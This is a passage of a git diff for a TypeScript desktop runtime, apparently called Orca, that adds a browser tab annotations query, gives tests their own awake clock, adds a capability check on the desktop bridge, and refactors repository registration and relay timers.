+++ b/src/main/runtime/agent-session/structured-agent-session-codex-start-deadline.test.ts
@@ -17,6 +17,8 @@ import { createStructuredAgentSessionLogger } from '../../native-chat/agent-sess
 import { recordAgentSessionStartup } from '../../observability/agent-session-instrumentation'
 import { STRUCTURED_AGENT_SESSION_STARTUP_CEILING_MS } from '../../native-chat/agent-session-wire/startup/structured-agent-session-startup-attempt-contract'
 import { readWholeAgentSessionFailureFact } from '../../../shared/agent-session/failures/agent-session-failure'
+import { awakeNow, createAwakeClock } from '../../power/awake-clock'
+import type * as AwakeClockModule from '../../power/awake-clock'
 import type { ScriptedAgentChild } from './installation/structured-agent-scripted-child.test-fixture'
 import { stopStructuredAgentSessionRuntime } from './structured-agent-session-runtime'
 import { ensureTestStructuredAgentSessionHost as ensureStructuredAgentSessionHost } from './records/agent-session-record-store-test-harness'
@@ -26,16 +28,27 @@ vi.mock('../../observability/agent-session-instrumentation', async (importOrigin
   recordAgentSessionStartup: vi.fn()
 }))
 
+// The startup ceiling runs on the process-wide awake clock, which outlives a test: its heartbeat
+// is a fake timer that useRealTimers drops, after which a jump reads as a sleep and never counts.
+// Each test gets its own production awake clock, built on that test's fake time.
+vi.mock('../../power/awake-clock', async (importOriginal) => ({
+  ...(await importOriginal<typeof AwakeClockModule>()),
+  awakeNow: vi.fn()
+}))
+
 let root: string | undefined
 const caller = { callerKey: 'codex-start-deadline-test' }
 let operation = 0
 
 beforeEach(() => {
-  // Real time still passes, so file and database work settles; the test jumps the clock.
+  // Real time still passes, so file and database work settles; the test jumps the clock. The
+  // awake clock reads performance as well as Date, so both move together.
   vi.useFakeTimers({
     shouldAdvanceTime: true,
-    toFake: ['setTimeout', 'clearTimeout', 'setInterval', 'clearInterval', 'Date']
+    toFake: ['setTimeout', 'clearTimeout', 'setInterval', 'clearInterval', 'Date', 'performance']
   })
+  const clock = createAwakeClock()
+  vi.mocked(awakeNow).mockImplementation(() => clock.now())
   vi.mocked(recordAgentSessionStartup).mockClear()
 })
 
diff --git a/src/main/runtime/agent-session/structured-agent-session-startup-reconcile.test.ts b/src/main/runtime/agent-session/structured-agent-session-startup-reconcile.test.ts
index 2d12af6088b..646946e49ae 100644
--- a/src/main/runtime/agent-session/structured-agent-session-startup-reconcile.test.ts
+++ b/src/main/runtime/agent-session/structured-agent-session-startup-reconcile.test.ts
@@ -17,6 +17,7 @@ import { closeTestJournalHostDatabases } from '../../native-chat/agent-session-j
 import { OrcaRuntimeService } from '../orca-runtime'
 import { stopStructuredAgentSessionRuntime } from './structured-agent-session-runtime'
 import { recordingStructuredAgentSessionLogger } from '../../native-chat/agent-session-wire/host/testing/structured-agent-session-logger.test-fixture'
+import { observeStructuredSession } from '../orchestration/terminal-authority/structured-sessions/structured-worker-authority'
 
 let root: string
 
@@ -42,8 +43,11 @@ async function seedChat(options: { newer?: boolean } = {}) {
   return { path: journalDomainDatabasePath(root), sessionId: record.sessionId }
 }
 
-function startupRuntime(log = recordingStructuredAgentSessionLogger()) {
-  const runtime = new OrcaRuntimeService()
+function startupRuntime(
+  log = recordingStructuredAgentSessionLogger(),
+  deps?: ConstructorParameters<typeof OrcaRuntimeService>[2]
+) {
+  const runtime = new OrcaRuntimeService(undefined, undefined, deps)
   // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: these are the runtime's own protected members; the test roots the host at `root` and stubs the PTY daemon.
   const internal = runtime as unknown as {
     hasPersistedStructuredAgentSessionStore(): boolean
@@ -147,3 +151,13 @@ it('closes a chat tab over records a newer Orca wrote, reporting the index it ca
   })
   expect(close).toHaveBeenCalledWith(sessionId, 'user-close')
 })
+
+it('settles a chat worker that died with the last run when orchestration restores its workers', async () => {
+  const { sessionId } = await seedChat()
+  // A host without recoverable PTYs restores no terminal workers, only chats.
+  const runtime = startupRuntime(undefined, { canRecoverPersistentLocalPtys: () => false })
+
+  await runtime.refreshRestoredOrchestrationAuthority()
+
+  expect(observeStructuredSession(sessionId).status).toBe('exited')
+})
diff --git a/src/main/runtime/browser/commands/browser-command-contracts.ts b/src/main/runtime/browser/commands/browser-command-contracts.ts
index 9d5367bf3b9..09d04d459ce 100644
--- a/src/main/runtime/browser/commands/browser-command-contracts.ts
+++ b/src/main/runtime/browser/commands/browser-command-contracts.ts
@@ -9,6 +9,7 @@ import type { BrowserBackend } from '../../../browser/browser-backend'
 import type { BrowserSessionTabSelectionOptions } from '../tabs/browser-tab-create-publication'
 import type { ServeBrowserTabs } from '../headless/serve-browser-tabs'
 import type { BrowserTabBarEntry } from '../tabs/browser-tab-listing'
+import type { BrowserPageAnnotation } from '../../../../shared/browser/element-grab/browser-grab-types'
 
 export type BrowserCommandTargetParams = {
   worktree?: string
@@ -60,6 +61,8 @@ export type RuntimeBrowserCommandHost = {
     options?: BrowserSessionTabSelectionOptions
   ): void
   notifyHeadlessBrowserSessionTabsChanged?(worktreeId: string): void
+  /** A page's unsent notes; see readSavedBrowserPageAnnotations. */
+  readBrowserPageAnnotations?(browserPageId: string): BrowserPageAnnotation[]
   /** The tab bar's browser tabs, loaded or not, from the published session snapshot. */
   readBrowserTabBar?(worktreeId: string | undefined): BrowserTabBarEntry[]
   retireRuntimeOwnedBrowserSessionTab?(worktreeId: string, browserPageId: string): boolean | void
diff --git a/src/main/runtime/browser/commands/browser-commands.ts b/src/main/runtime/browser/commands/browser-commands.ts
index acdda731ff6..4f8e0cb11a8 100644
--- a/src/main/runtime/browser/commands/browser-commands.ts
+++ b/src/main/runtime/browser/commands/browser-commands.ts
@@ -81,6 +81,7 @@ export class RuntimeBrowserCommands {
   readonly browserProceedCertificate: RuntimeBrowserTabQueries['browserProceedCertificate']
   readonly browserTabShow: RuntimeBrowserTabQueries['browserTabShow']
   readonly browserTabCurrent: RuntimeBrowserTabQueries['browserTabCurrent']
+  readonly browserTabAnnotations: RuntimeBrowserTabQueries['browserTabAnnotations']
   readonly browserTabSwitch: RuntimeBrowserTabQueries['browserTabSwitch']
   readonly browserTabCreate: RuntimeBrowserTabCreation['browserTabCreate']
   readonly browserOpenUrlOnClient: RuntimeBrowserTabCreation['browserOpenUrlOnClient']
@@ -187,6 +188,7 @@ export class RuntimeBrowserCommands {
     this.browserProceedCertificate = queries.browserProceedCertificate.bind(queries)
     this.browserTabShow = queries.browserTabShow.bind(queries)
     this.browserTabCurrent = queries.browserTabCurrent.bind(queries)
+    this.browserTabAnnotations = queries.browserTabAnnotations.bind(queries)
     this.browserTabSwitch = queries.browserTabSwitch.bind(queries)
     this.browserTabCreate = creation.browserTabCreate.bind(creation)
     this.browserOpenUrlOnClient = creation.browserOpenUrlOnClient.bind(creation)
diff --git a/src/main/runtime/browser/screencast/browser-screencasts.ts b/src/main/runtime/browser/screencast/browser-screencasts.ts
index 192aa7412ed..d8a97faa304 100644
--- a/src/main/runtime/browser/screencast/browser-screencasts.ts
+++ b/src/main/runtime/browser/screencast/browser-screencasts.ts
@@ -2,6 +2,7 @@ import type { BrowserScreencastResult } from '../../../../shared/browser/runtime
 import { BrowserError } from '../../../browser/browser-error'
 import { randomUUID } from 'node:crypto'
 import { startBrowserScreencast } from '../../../browser/cdp/screencast/browser-screencast-stream'
+import { browserManager } from '../../../browser/guest-lifecycle/manager/browser-manager'
 import { rendererPublicationThrottle } from '../../../window/renderer-publication-throttle'
 import { mintBrowserScreencastSubscriptionId } from './browser-screencast-subscription-id'
 import {
@@ -102,6 +103,7 @@ export class RuntimeBrowserScreencasts {
         format: params.format,
         ...budget,
         ...viewport,
+        holdPaint: () => browserManager.holdPaintForCapture(guest.id),
         onFrame: (bytes) => {
           const ghosts: string[] = []
           for (const [subscriptionId, subscriber] of pendingRecord.subscribers) {
diff --git a/src/main/runtime/browser/screencast/remote-browser-screencast-frame-admission.test.ts b/src/main/runtime/browser/screencast/remote-browser-screencast-frame-admission.test.ts
index 6e5d0b3db0c..c87652a7309 100644
--- a/src/main/runtime/browser/screencast/remote-browser-screencast-frame-admission.test.ts
+++ b/src/main/runtime/browser/screencast/remote-browser-screencast-frame-admission.test.ts
@@ -92,6 +92,7 @@ describe('sendRemoteBrowserScreencastFrame', () => {
       maxHeight: 2160,
       everyNthFrame: 1,
       minFrameIntervalMs: 0,
+      holdPaint: () => () => {},
       onFrame: (bytes) =>
         sendRemoteBrowserScreencastFrame(transport.sendBinary, bytes) !== 'refused'
     })
diff --git a/src/main/runtime/browser/tabs/browser-tab-annotations.ts b/src/main/runtime/browser/tabs/browser-tab-annotations.ts
new file mode 100644
index 00000000000..c58ceffb5ab
--- /dev/null
+++ b/src/main/runtime/browser/tabs/browser-tab-annotations.ts
@@ -0,0 +1,67 @@
+import type { BrowserPageAnnotation } from '../../../../shared/browser/element-grab/browser-grab-types'
+import type {
+  BrowserTabAnnotationsResult,
+  BrowserTabInfo
+} from '../../../../shared/browser/runtime/runtime-browser-contracts'
+import { isHostReachableDocument } from '../../../../shared/desktop-browser-bridge-protocol'
+import { BrowserError } from '../../../browser/browser-error'
+import type { RuntimeStore } from '../../construction/runtime-store-contract'
+import type { RuntimeBrowserCommandHost } from '../commands/browser-command-contracts'
+import { remoteCliBrowserScopeWorkspaceId } from '../../desktop-browser-bridge/remote-cli-browser-scope'
+
+/** A page's unsent notes from the saved session, which the window keeps current. */
+export function readSavedBrowserPageAnnotations(
+  store:
+    | Pick<RuntimeStore, 'getWorkspaceSession' | 'getWorkspaceSessionHostIds'>
+    | null
+    | undefined,
+  browserPageId: string
+): BrowserPageAnnotation[] {
+  // Page ids are unique across hosts, and a bridged SSH page has no worktree row here.
+  for (const hostId of store?.getWorkspaceSessionHostIds?.() ?? []) {
+    const pages = store?.getWorkspaceSession?.(hostId)?.browserPagesByWorkspace ?? {}
+    for (const workspacePages of Object.values(pages)) {
+      const page = workspacePages.find((candidate) => candidate.id === browserPageId)
+      if (page) {
+        return page.annotations ?? []
+      }
+    }
+  }
+  return []
+}
+
+export function findListedBrowserTab(
+  tabs: readonly BrowserTabInfo[],
+  page: string
+): BrowserTabInfo {
+  const tab = tabs.find((candidate) => candidate.browserPageId === page)
+  if (!tab) {
+    throw new BrowserError('browser_tab_not_found', `Browser page ${page} was not found`)
+  }
+  return tab
+}
+
+export function readBrowserTabAnnotations(
+  host: Pick<
+    RuntimeBrowserCommandHost,
+    'getRuntimeBrowserPageRegistry' | 'readBrowserPageAnnotations'
+  >,
+  tab: BrowserTabInfo
+): BrowserTabAnnotationsResult {
+  // A paired desktop draws this page and keeps its notes; this host would wrongly report none.
+  if (host.getRuntimeBrowserPageRegistry().getPage(tab.browserPageId)) {
+    throw new BrowserError(
+      'browser_annotations_unavailable',
+      `Tab ${tab.browserPageId} is drawn by a paired desktop, which keeps its unsent notes. Ask the user to send them from that tab.`
+    )
+  }
+  const annotations = host.readBrowserPageAnnotations?.(tab.browserPageId) ?? []
+  return {
+    tab,
+    // An SSH host may not read what a note captured from a desktop-local document.
+    annotations:
+      remoteCliBrowserScopeWorkspaceId() === undefined
+        ? annotations
+        : annotations.filter((note) => isHostReachableDocument(note.payload.page.sanitizedUrl))
+  }
+}
diff --git a/src/main/runtime/browser/tabs/browser-tab-queries.ts b/src/main/runtime/browser/tabs/browser-tab-queries.ts
index 5aaab4a5a66..51f31bdbe76 100644
--- a/src/main/runtime/browser/tabs/browser-tab-queries.ts
+++ b/src/main/runtime/browser/tabs/browser-tab-queries.ts
@@ -1,4 +1,5 @@
 import type {
+  BrowserTabAnnotationsResult,
   BrowserTabCurrentResult,
   BrowserTabListResult,
   BrowserTabShowResult,
@@ -17,6 +18,7 @@ import type {
 } from '../commands/browser-command-contracts'
 import type { RuntimeBrowserCommandTargets } from '../commands/browser-command-targets'
 import type { RuntimeBrowserTabCatalog } from './browser-tab-catalog'
+import { findListedBrowserTab, readBrowserTabAnnotations } from './browser-tab-annotations'
 
 export class RuntimeBrowserTabQueries {
   constructor(
@@ -27,6 +29,7 @@ export class RuntimeBrowserTabQueries {
       | 'getRuntimeBrowserPageRegistry'
       | 'markHeadlessBrowserSessionTabActive'
       | 'notifyHeadlessBrowserSessionTabsChanged'
+      | 'readBrowserPageAnnotations'
     >,
     private readonly targets: Pick<
       RuntimeBrowserCommandTargets,
@@ -89,6 +92,22 @@ export class RuntimeBrowserTabQueries {
     return { tab: this.catalog.describeBrowserTab(params.page, target.worktreeId) }
   }
 
+  async browserTabAnnotations(params: {
+    page?: string
+    worktree?: string
+  }): Promise<BrowserTabAnnotationsResult> {
+    if (!params.page) {
+      return readBrowserTabAnnotations(this.host, (await this.browserTabCurrent(params)).tab)
+    }
+    // A named page's notes are saved state: list the tab bar as saved rather than waking a browser.
+    const workspaceId = params.worktree
+      ? (await this.host.resolveBrowserWorkspace(params.worktree)).id
+      : undefined
+    const clientPages = this.host.getRuntimeBrowserPageRegistry().listPages(workspaceId)
+    const tabs = this.catalog.listLogicalBrowserTabs(workspaceId, clientPages)
+    return readBrowserTabAnnotations(this.host, findListedBrowserTab(tabs, params.page))
+  }
+
   async browserTabCurrent(params: { worktree?: string }): Promise<BrowserTabCurrentResult> {
     const tab = (await this.browserTabList(params)).tabs.find((candidate) => candidate.active)
     if (!tab) {
diff --git a/src/main/runtime/client/events/runtime-notifier-contract.ts b/src/main/runtime/client/events/runtime-notifier-contract.ts
index aeaacdf7d83..0715c88c511 100644
--- a/src/main/runtime/client/events/runtime-notifier-contract.ts
+++ b/src/main/runtime/client/events/runtime-notifier-contract.ts
@@ -1,3 +1,4 @@
+import type { WorkspaceMetadataSet } from '../../../../shared/worktree/workspace-metadata-set'
 import type {
   RuntimeEditorTabReveal,
   RuntimeFileOpenPosition
@@ -49,6 +50,7 @@ export type RuntimeNotifier = {
     // Why: false for metadata-only changes (sort order) that leave Git scan results valid.
     options?: { invalidateGitScans?: boolean }
   ): void
+  workspaceMetadataSet?(set: WorkspaceMetadataSet): void
   worktreeBaseStatus?(event: WorktreeBaseStatusEvent): void
   worktreeRemoteBranchConflict?(event: WorktreeRemoteBranchConflictEvent): void
   reposChanged(): void
@@ -136,7 +138,8 @@ export type RuntimeNotifier = {
   focusTerminal(tabId: string, worktreeId: string, leafId?: string | null): void
   /** Raises the window onto a pane it shows; resolves false when the window does not know the worktree. */
   revealTerminalPane?(target: TerminalPaneRevealTarget): Promise<boolean>
-  focusEditorTab?(tabId: string, worktreeId: string): void
+  /** `userInitiated` lets a chat tab move the window to another worktree. */
+  focusEditorTab?(tabId: string, worktreeId: string, options?: { userInitiated: true }): void
   closeSessionTab?(tabId: string, worktreeId: string): void | Promise<void>
   moveSessionTab?(worktreeId: string, move: RuntimeMobileSessionTabMove): void
   /** The window moves a client's pane to a new tab, since it owns the layout; rejects when it cannot answer. */
diff --git a/src/main/runtime/construction/runtime-construction-dependencies.ts b/src/main/runtime/construction/runtime-construction-dependencies.ts
index c1dd0251255..e7d30136582 100644
--- a/src/main/runtime/construction/runtime-construction-dependencies.ts
+++ b/src/main/runtime/construction/runtime-construction-dependencies.ts
@@ -33,6 +33,7 @@ export type RuntimeConstructionDependencies = {
   onClaudeTerminalEvidence?: (paneKey: string, evidence: ClaudeTerminalEvidence) => void
   getAgentStatusSnapshot?: () => AgentStatusIpcPayload[]
   getAgentStatusSnapshotForPane?: (paneKey: string) => AgentStatusIpcPayload[]
+  getPublicAgentStatusSnapshotForPane?: (paneKey: string) => AgentStatusIpcPayload[]
   structuredAgentStatusSink?: StructuredAgentSessionStatusSink
   readObservedAgentStatusPaneIdentity?: (paneKey: string) => ObservedAgentStatusPaneIdentity
   getAgentProviderSessionSnapshot?: (tabId?: string) => AgentStatusIpcPayload[]
diff --git a/src/main/runtime/construction/runtime-construction-services.ts b/src/main/runtime/construction/runtime-construction-services.ts
index d3ea3a29649..6c1c4baadcd 100644
--- a/src/main/runtime/construction/runtime-construction-services.ts
+++ b/src/main/runtime/construction/runtime-construction-services.ts
@@ -277,6 +277,7 @@ export abstract class RuntimeConstructionServices {
   protected abstract readonly getAgentStatusSnapshotForPaneFn:
     | ((paneKey: string) => AgentStatusIpcPayload[])
     | null
+  protected abstract readonly publicPaneStatusFn?: (paneKey: string) => AgentStatusIpcPayload[]
   abstract readonly getAgentStatusSnapshotFn: (() => AgentStatusIpcPayload[]) | null
   protected abstract getTrackedDisplayTitleForPty(ptyId: string): string | null
   protected abstract getLeavesForPty(ptyId: string): readonly RuntimeLeafRecord[]
diff --git a/src/main/runtime/construction/runtime-construction.ts b/src/main/runtime/construction/runtime-construction.ts
index dfffdd783c4..797bbb1e977 100644
--- a/src/main/runtime/construction/runtime-construction.ts
+++ b/src/main/runtime/construction/runtime-construction.ts
@@ -1,7 +1,7 @@
 import { collectSavedStructuredAgentSessionIds } from '../agent-session/lifecycle/saved-structured-agent-session-restoration'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
 import type {
-  RuntimeConstructionBindings,
+  RuntimeConstructionBindings as Bindings,
   RuntimeConstructionDependencies
 } from './runtime-construction-dependencies'
 import type { OrcaRuntimeWithRuntimeId as IdentityState } from './runtime-identity-state'
@@ -75,11 +75,11 @@ export abstract class OrcaRuntimeWithStateFields extends OrcaRuntimeWithLinearCo
   declare protected readonly attestAgentHookCompatibilityAuthorityFn: HostServices['attestAgentHookCompatibilityAuthorityFn']
   declare protected readonly retireAgentHookCompatibilityAuthorityFn: HostServices['retireAgentHookCompatibilityAuthorityFn']
   declare protected readonly readHookCliWriterObservationFn:
-    | RuntimeConstructionBindings['readHookCliWriterObservation']
+    | Bindings['readHookCliWriterObservation']
     | null
   declare protected readonly checkHookAgentPresenceFn: HostServices['checkHookAgentPresenceFn']
   declare readonly subscribeAgentProviderSessionChangesFn:
-    | RuntimeConstructionBindings['subscribeAgentProviderSessionChanges']
+    | Bindings['subscribeAgentProviderSessionChanges']
     | null
   declare protected readonly reconcileAgentStatusForEndedProcessFn: HostServices['reconcileAgentStatusForEndedProcessFn']
   declare protected readonly forgetHookAgentExitFn: HostServices['forgetHookAgentExitFn']
@@ -115,14 +115,14 @@ export abstract class OrcaRuntimeWithStateFields extends OrcaRuntimeWithLinearCo
 
   readonly workspaceSleepPlatform: WorkspaceSleepPlatform | null
 
-  protected readonly getAgentStatusSnapshotForPaneFn:
-    | RuntimeConstructionBindings['getAgentStatusSnapshotForPane']
-    | null
+  declare protected readonly getAgentStatusSnapshotForPaneFn: HostServices['getAgentStatusSnapshotForPaneFn']
+
+  protected readonly publicPaneStatusFn?: Bindings['getPublicAgentStatusSnapshotForPane']
 
   /** The agent's full final reply for that finished lead turn; status rows carry only a capped preview. */
-  readonly getAcceptedAgentReply: RuntimeConstructionBindings['getAcceptedAgentReply']
+  readonly getAcceptedAgentReply: Bindings['getAcceptedAgentReply']
   /** Synchronous on every hook status row change, including clears. */
-  readonly subscribeAgentStatusRowChanges: RuntimeConstructionBindings['subscribeAgentStatusRowChanges']
+  readonly subscribeAgentStatusRowChanges: Bindings['subscribeAgentStatusRowChanges']
 
   protected readonly machineName = new RuntimeMachineName(
     () => this.store?.getSettings?.().machineName
@@ -253,6 +253,7 @@ export abstract class OrcaRuntimeWithStateFields extends OrcaRuntimeWithLinearCo
     }
     this.getAgentStatusSnapshotFn = deps?.getAgentStatusSnapshot ?? null
     this.getAgentStatusSnapshotForPaneFn = deps?.getAgentStatusSnapshotForPane ?? null
+    this.publicPaneStatusFn = deps?.getPublicAgentStatusSnapshotForPane
     this.structuredAgentStatusSinkFn = deps?.structuredAgentStatusSink ?? null
     this.readObservedAgentStatusPaneIdentityFn =
       deps?.readObservedAgentStatusPaneIdentity ?? (() => ({ kind: 'unobserved' }))
diff --git a/src/main/runtime/construction/runtime-edge-command-controller.ts b/src/main/runtime/construction/runtime-edge-command-controller.ts
index 933c812272c..6d6b7fac4ec 100644
--- a/src/main/runtime/construction/runtime-edge-command-controller.ts
+++ b/src/main/runtime/construction/runtime-edge-command-controller.ts
@@ -47,6 +47,7 @@ const BROWSER_COMMAND_NAMES = [
   'browserProceedCertificate',
   'browserTabShow',
   'browserTabCurrent',
+  'browserTabAnnotations',
   'browserTabSwitch',
   'browserHover',
   'browserDrag',
diff --git a/src/main/runtime/construction/runtime-host-services.ts b/src/main/runtime/construction/runtime-host-services.ts
index b1515e72345..38403c91120 100644
--- a/src/main/runtime/construction/runtime-host-services.ts
+++ b/src/main/runtime/construction/runtime-host-services.ts
@@ -1,8 +1,6 @@
 import type * as Calls from './runtime-host-service-calls'
 import type { RuntimeConstructionBindings as HostBindings } from './runtime-construction-dependencies'
 
-import type { RuntimeRepositoryCommandSurface } from '../repositories/runtime-repository-command-surface'
-
 import type { LegacyWorkerRecoveryCandidate } from '../orchestration/terminal-authority/structured-sessions/runtime-legacy-worker-terminal-recovery-types'
 
 import type { LegacyWorkerTerminalRecoveryPlan } from '../orchestration/terminal-authority/release/orchestration-legacy-worker-terminal-recovery'
@@ -46,8 +44,6 @@ import { teardownFolderWorkspacePtys } from '../workspaces/removal/folder-worksp
 import { countRepoTerminalsNotKnownExited } from '../workspaces/removal/project-removal-impact'
 
 export abstract class OrcaRuntimeWithPreservedBranchCleanup extends OrcaRuntimeWithTerminalDrivers {
-  declare addRepo: RuntimeRepositoryCommandSurface['addRepo']
-  declare cloneRepo: RuntimeRepositoryCommandSurface['cloneRepo']
   declare acquireFileWatcherRemoval: ConstructorParameters<
     typeof RuntimeProjectGroupController
   >[0]['acquireFileWatcherRemoval']
@@ -279,8 +275,11 @@ export abstract class OrcaRuntimeWithPreservedBranchCleanup extends OrcaRuntimeW
   protected readonly projectHostSetups = new RuntimeProjectHostSetupController({
     getStore: () => this.store,
     listRepos: () => this.listRepos(),
-    addRepo: (path, kind, hostId) => this.addRepo(path, kind, hostId),
-    cloneRepo: (args) => this.cloneRepo(args.url, args.destination, args.hostId, args.folderName),
+    addRepo: (path, kind, hostId) => this.repositoryRegistrations.add(path, kind, hostId),
+    cloneRepo: (args) =>
+      this.repositoryClones.clone(args.url, args.destination, args.hostId, args.folderName),
+    resolveRepositoryMetadata: (repo) => this.repositoryForkBackfill.resolve(repo),
+    enqueueRepositoryMetadata: (repos) => void this.repositoryForkBackfill.enqueue(repos),
     invalidateResolvedWorktrees: () => this.invalidateResolvedWorktreeCache(),
     invalidateWorktreeScan: (repoId) => this.invalidateWorktreeScanCacheForRepo(repoId),
     notifyReposChanged: () => this.notifyReposChanged(),
@@ -353,7 +352,7 @@ export abstract class OrcaRuntimeWithPreservedBranchCleanup extends OrcaRuntimeW
 
   protected readonly serverEnvironment = new RuntimeServerEnvironmentCommands()
 
-  protected readonly repositoryForkBackfill = new RuntimeRepositoryForkBackfill(
+  readonly repositoryForkBackfill = new RuntimeRepositoryForkBackfill(
     () => this.store,
     () => this.notifyReposChanged()
   )
diff --git a/src/main/runtime/construction/runtime-store-contract.ts b/src/main/runtime/construction/runtime-store-contract.ts
index e65b65778b7..4847daa5909 100644
--- a/src/main/runtime/construction/runtime-store-contract.ts
+++ b/src/main/runtime/construction/runtime-store-contract.ts
@@ -32,6 +32,7 @@ export type RuntimeStore = {
   removeProjectForHost?: Store['removeProjectForHost']
   reorderRepos?: Store['reorderRepos']
   getAllWorktreeMeta: Store['getAllWorktreeMeta']
+  getWorkspaceMetadataCursor?: Store['getWorkspaceMetadataCursor']
   getAllWorktreeMetaForHost?: Store['getAllWorktreeMetaForHost']
   captureNativeLocalWorktreeMetadataScanExpectation?: Store['captureNativeLocalWorktreeMetadataScanExpectation']
   pruneSessionlessMissingLocalWorktreeMetadataForRepo?: Store['pruneSessionlessMissingLocalWorktreeMetadataForRepo']
diff --git a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.test.ts b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.test.ts
index cc2170d60e7..4338bf8352b 100644
--- a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.test.ts
+++ b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.test.ts
@@ -6,6 +6,28 @@ import {
 } from './desktop-browser-bridge-registry'
 import { routeDesktopBrowserBridgeRpc } from './desktop-browser-bridge-route'
 
+describe('tab annotations through the desktop bridge', () => {
+  it('never sends them to an older desktop, which would drop its whole bridge', async () => {
+    const registry = new DesktopBrowserBridgeRegistry()
+    const emit = vi.fn()
+    registry.attach({ connectionId: 'new', pairedDeviceId: 'd', readsTabAnnotations: true, emit })
+    registry.attach({ connectionId: 'old', pairedDeviceId: 'd', emit })
+
+    await expect(
+      routeDesktopBrowserBridgeRpc({
+        method: 'browser.tabAnnotations',
+        params: { page: 'page-1' },
+        caller: { kind: 'local-cli' },
+        hostEnabled: true,
+        registry,
+        localBrowserAvailable: false,
+        resolveWorkspace: async (selector) => ({ id: selector })
+      })
+    ).rejects.toMatchObject({ code: 'desktop_browser_bridge_not_forwarded' })
+    expect(emit).not.toHaveBeenCalled()
+  })
+})
+
 describe('--expect-url through the desktop bridge', () => {
   const route = (registry: DesktopBrowserBridgeRegistry) =>
     routeDesktopBrowserBridgeRpc({
diff --git a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.ts b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.ts
index b0c561e52ef..b297f8e6d2b 100644
--- a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.ts
+++ b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-registry.ts
@@ -19,6 +19,7 @@ type Attachment = {
   pairedDeviceId: string
   acceptsCancel?: boolean
   enforcesExpectUrl?: boolean
+  readsTabAnnotations?: boolean
   emit: (event: DesktopBrowserBridgeEvent) => void
 }
 
@@ -57,6 +58,10 @@ export class DesktopBrowserBridgeRegistry {
     return this.attachments.at(-1)?.enforcesExpectUrl === true
   }
 
+  newestAttachmentReadsTabAnnotations(): boolean {
+    return this.attachments.at(-1)?.readsTabAnnotations === true
+  }
+
   forward(
     request: DesktopBrowserBridgeForward,
     options: { timeoutMs: number; signal?: AbortSignal }
diff --git a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-route.ts b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-route.ts
index ae0f6a6aaa5..2f472b5f36e 100644
--- a/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-route.ts
+++ b/src/main/runtime/desktop-browser-bridge/desktop-browser-bridge-route.ts
@@ -75,6 +75,15 @@ export async function routeDesktopBrowserBridgeRpc(options: {
       'The Orca desktop sharing its browser cannot check --expect-url. Update Orca on that desktop or drop the flag.'
     )
   }
+  if (
+    forwardedMethod === 'browser.tabAnnotations' &&
+    !options.registry.newestAttachmentReadsTabAnnotations()
+  ) {
+    throw new BrowserError(
+      DESKTOP_BROWSER_BRIDGE_NOT_FORWARDED_CODE,
+      'The Orca desktop sharing its browser cannot read tab notes. Update Orca on that desktop.'
+    )
+  }
   const result = await options.registry.forward(
     { method: forwardedMethod, params, ...(workspaceId ? { workspaceId } : {}) },
     { timeoutMs: forwardTimeoutMs(forwardedMethod, params), signal: options.signal }
diff --git a/src/main/runtime/hosts/runtime-status.ts b/src/main/runtime/hosts/runtime-status.ts
index 7800d47fea3..73dc3dea758 100644
--- a/src/main/runtime/hosts/runtime-status.ts
+++ b/src/main/runtime/hosts/runtime-status.ts
@@ -45,7 +45,7 @@ import {
   TERMINAL_PERSISTENCE_UNAVAILABLE_MESSAGE
 } from '../../../shared/runtime-capability-degradation'
 import { MOBILE_WEB_BUNDLE_CAPABILITY } from '../../../shared/mobile-web-bundle/mobile-web-bundle-capability'
-import { loadBundledMobileWebBundle } from '../rpc/methods/mobile-delivery/bundled-mobile-web-bundle'
+import { getBundledMobileWebBundleRoot } from '../rpc/methods/mobile-delivery/bundled-mobile-web-bundle'
 import { runtimeTerminalDegradation } from '../terminal/launch/native-terminal-availability'
 import { isWindowsProcessStartTimeAvailable } from '../../windows/windows-process-table'
 import { WORKTREE_CREATE_RESULT_TTL_MS } from '../workspaces/creation/worktree-create-idempotency'
@@ -120,8 +120,8 @@ export abstract class OrcaRuntimeWithGetStatus extends RuntimeWorkspaceChangeEve
       capabilities.push(DESKTOP_BROWSER_BRIDGE_RUNTIME_CAPABILITY)
     }
     capabilities.push(...darkSwitchRuntimeCapabilities())
-    // Dev/serve installs may lack out/mobile-web; never advertise downloads this install cannot produce.
-    if (loadBundledMobileWebBundle()) {
+    // Dev/serve installs may lack out/mobile-web; advertise downloads only where the install ships it.
+    if (getBundledMobileWebBundleRoot()) {
       capabilities.push(MOBILE_WEB_BUNDLE_CAPABILITY)
     }
     // Report the actual failure so operators are not told to fix already-correct configuration.
diff --git a/src/main/runtime/mobile-cloud-relay/relay-session-broker.ts b/src/main/runtime/mobile-cloud-relay/relay-session-broker.ts
index 78f99af7c05..d7be7f45381 100644
--- a/src/main/runtime/mobile-cloud-relay/relay-session-broker.ts
+++ b/src/main/runtime/mobile-cloud-relay/relay-session-broker.ts
@@ -19,6 +19,7 @@ import { relayIdentityKey } from './relay-auth-identity'
 import { RelayOriginPool } from './relay-origin-pool'
 import { RelayRegionRefresh } from './relay-region-refresh'
 import { relayRenewalDelayMs } from './relay-renewal-jitter'
+import { RelayWallClockTimer } from './relay-wall-clock-timer'
 
 export class RelaySessionBroker {
   private readonly options: RelaySessionBrokerOptions
@@ -26,11 +27,12 @@ export class RelaySessionBroker {
   private readonly originPool: RelayOriginPool
   private readonly regionRefresh: RelayRegionRefresh | null
   private authorization: RelayAuthorization | null = null
-  private refreshTimer: ReturnType<typeof setTimeout> | null = null
+  private readonly refreshTimer: RelayWallClockTimer
   private closed = false
 
   private constructor(options: RelaySessionBrokerOptions) {
     this.options = options
+    this.refreshTimer = new RelayWallClockTimer(options.now)
     this.relayHostId = deriveRelayHostId(options.keypair.publicKey)
     this.originPool = new RelayOriginPool({
       directorUrl: options.authConfig.relayDirectorUrl,
